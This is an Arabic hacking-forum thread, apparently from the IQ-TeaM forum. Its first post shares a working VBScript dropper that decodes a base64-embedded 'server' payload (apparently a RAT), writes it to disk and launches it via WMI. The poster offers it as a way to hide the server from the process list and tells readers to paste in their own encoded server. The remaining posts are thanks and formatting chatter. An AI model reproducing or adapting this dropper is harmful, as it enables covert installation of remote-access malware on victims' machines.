1. أهلا وسهلاً بكم في :: IQ-TeaM FORUM :: .
    إذا كانت هذه الزيارة الأولى أو لديك الرغبة بالانضمام لأعضاء شبكة عراق تيم فيجب الاطلاع على خصوصية الشبكه فربما بقائك زائر افضل لك من الانضمام بحيث أن قوانين شبكة عراق تيم لا تتناسب مع اهتماماتك .
    • للأطلاع على الخصوصية وسياسة الاستخدام - التفاصيل
    • بعد الاطلاع على سياسة الموقع وقوانين شبكة عراق تيم يمكنك التسجيل معنا - تسجيل عضو جديد
    إستبعاد الملاحظة
الكاتب : Joker Hexore | المشاهدات : 1,159 | الردود : 39
حالة الموضوع:
مغلق
  1. Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    [​IMG]
    ------------------------------
    اليوم اقدم لكم سكربت اخفاء سيرفر من بروسس +برامج الاتصال على
    نواتين 32,64

    [​IMG]
    كود:
    [RIGHT][COLOR=#141823][FONT=lucida grande]AppPath = "مسار نزول السيرفر"[/FONT][/COLOR][/RIGHT][/CENTER]
    [RIGHT][COLOR=#141823][FONT=lucida grande]StrBase64 = Base64Decode("القيم هنااااااااااااا")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set objFile = fso.CreateTextFile(AppPath,True)
    objFile.Write StrBase64
    objFile.Close[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Const SW_NORMAL = 1
    strComputer = "."
    Dim fso
    Set fso = CreateObject("Scripting.FileSystemObject")
    strCommand = AppPath
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & strComputer & "\root\cimv2")[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Set objStartup = objWMIService.Get("Win32_ProcessStartup")
    Set objConfig = objStartup.SpawnInstance_
    objConfig.ShowWindow = SW_NORMAL[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Set objProcess = objWMIService.Get("Win32_Process")
    intReturn = objProcess.Create _
    (strCommand, Null, objConfig, intProcessID)[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Function Base64Decode(ByVal base64String)
    Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim dataLength, sOut, groupBegin
    dataLength = Len(base64String)
    For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0
    For CharCounter = 0 To 3
    thisChar = Mid(base64String, groupBegin + CharCounter, 1)
    If thisChar = "=" Then
    numDataBytes = numDataBytes - 1
    thisData = 0
    Else
    thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
    End If
    nGroup = 64 * nGroup + thisData
    Next
    nGroup = Hex(nGroup)
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    sOut = sOut & Left(pOut, numDataBytes)
    Next[/FONT][/COLOR]
    [COLOR=#141823][FONT=lucida grande]Base64Decode = sOut
    [/FONT][/COLOR][/RIGHT]
    [CENTER][RIGHT][COLOR=#141823][FONT=lucida grande]End Function[/FONT][/COLOR][/RIGHT]
    *=== تحديد كود ===*
    طبعا الكود واظح ميحتاج شرح
    مجرد حول سيرفرك ل خوارزميه64 وحطه بالكود و بدايه السكربت مسار النزول تكدر اتغيره

    [​IMG]
    [​IMG]

     
  2. سكيورتي ارهابي ExpErt DeveloPer

    الأنتساب:
    ‏1 سبتمبر 2014
    المشاركات:
    701
    الإعجابات المتلقاة:
    48
    نقاط الجائزة:
    28
    الوظيفة:
    ماكسي مول
    الإقامة:
    دوله العراق العظيم
    نظام التشغيل:
    Linux
    اللغة البرمجية:
    Visual Basic
    Facebook:
    YouTube:
    رد: كود برمجي ساحر اكثر من رائع

    وعليكم السلام


    بارك الله بيك حبيبي


    ولكن الموضوع يحتاج الى


    تنسيق​
     
  3. rebih Developer

    الأنتساب:
    ‏11 مايو 2014
    المشاركات:
    86
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    8
    نظام التشغيل:
    windows xp
    حسابي في الزون اتش Zone-H:
    اللغة البرمجية:
    Perl
    Facebook:
    YouTube:
    رد: كود برمجي ساحر اكثر من رائع

    [​IMG]
     
  4. MiSs_pRobLeM Developer

    الأنتساب:
    ‏1 مايو 2015
    المشاركات:
    18
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    3
    الإقامة:
    iRaQ
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    رد: كود برمجي ساحر اكثر من رائع

    بارك الله فيك
     
  5. mojRm New Developer

    الأنتساب:
    ‏30 يوليو 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Perl
    رد: كود برمجي ساحر اكثر من رائع

    يأغالي ممكن شرح بسيط ولله مافهمته {3$0}
     
  6. Ahmad Ayad New Developer

    الأنتساب:
    ‏13 أغسطس 2015
    المشاركات:
    5
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Perl
    Facebook:
    رد: كود برمجي ساحر اكثر من رائع

    بطل عاشت ايدك
     
  7. محمد العوادي Developer

    الأنتساب:
    ‏31 يوليو 2015
    المشاركات:
    202
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Perl
    Facebook:
    رد: كود برمجي ساحر اكثر من رائع

    سلمت اناملك يابطل

    موضوع ذهبي


    واصل بهكذا مواضيع :ُeُek:


    ان شاء الله دوما بالمقدمه
    {1!9}
     
  8. Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: كود برمجي ساحر اكثر من رائع

    شكرت عل مرورك بالنسبه للتنسيق اخطئت فيه ونشر الموضوع ونطفت الكهرباء هههه والتعديل البرنامج بعد تجاوز 7 دقيقه لا يمكن التعديل عليه​
     
  9. Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: كود برمجي ساحر اكثر من رائع

    وبيك حبيبي​
     
  10. Joker Hexore Developer

    الأنتساب:
    ‏29 يناير 2015
    المشاركات:
    158
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    نظام التشغيل:
    windows 8.1
    اللغة البرمجية:
    Visual Basic
    Facebook:
    رد: كود برمجي ساحر اكثر من رائع

    {1!$7}
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة